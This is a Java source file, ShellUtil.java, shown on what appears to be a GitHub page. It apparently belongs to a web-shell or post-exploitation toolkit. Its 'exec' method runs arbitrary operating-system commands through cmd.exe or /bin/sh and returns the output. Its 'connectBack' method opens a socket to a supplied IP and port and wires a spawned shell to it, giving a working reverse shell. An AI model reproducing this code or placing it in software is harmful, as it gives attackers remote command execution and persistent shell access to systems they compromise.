-
Notifications
You must be signed in to change notification settings - Fork 232
Expand file tree
/
Copy pathShellUtil.java
More file actions
127 lines (121 loc) · 4.68 KB
/
ShellUtil.java
File metadata and controls
127 lines (121 loc) · 4.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import java.io.*;
import java.net.Socket;
//import java.util.concurrent.RecursiveTask;
public class ShellUtil extends Object{
public static String run(String methodName, String params, String encoding) {
String res = "";
if (methodName.equals("exec")) {
res = ShellUtil.exec(params, encoding);
}else if (methodName.equals("connectback")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
res = ShellUtil.connectBack(ip, Integer.parseInt(port));
}else {
res = "unkown methodName";
}
return res;
}
public static String exec(String command, String encoding) {
StringBuffer result = new StringBuffer();
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
String systemRootvariable;
try {
systemRootvariable = System.getenv("SystemRoot");
}
catch (ClassCastException e) {
systemRootvariable = System.getProperty("SystemRoot");
}
finalCommand = new String[3];
finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
finalCommand[1] = "/c";
finalCommand[2] = command;
} else { // Linux or Unix System
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
BufferedReader readerIn = null;
BufferedReader readerError = null;
try {
readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
String stemp = "";
while ((stemp = readerIn.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerIn != null) {
readerIn.close();
}
}
try {
readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
String stemp = "";
while ((stemp = readerError.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerError != null) {
readerError.close();
}
}
} catch (Exception e) {
result.append(e.toString());
}
return result.toString();
}
public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;
StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}
@Override
public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[1024];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {}
try {
if (xp != null) {
xp.close();
}
if (ydg != null) {
ydg.close();
}
} catch (Exception e) {
}
}
}
try {
String sp;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
sp = new String("/bin/sh");
} else {
sp = new String("cmd.exe");
}
Socket sk = new Socket(ip, port);
Process ps = Runtime.getRuntime().exec(sp);
(new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
(new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
}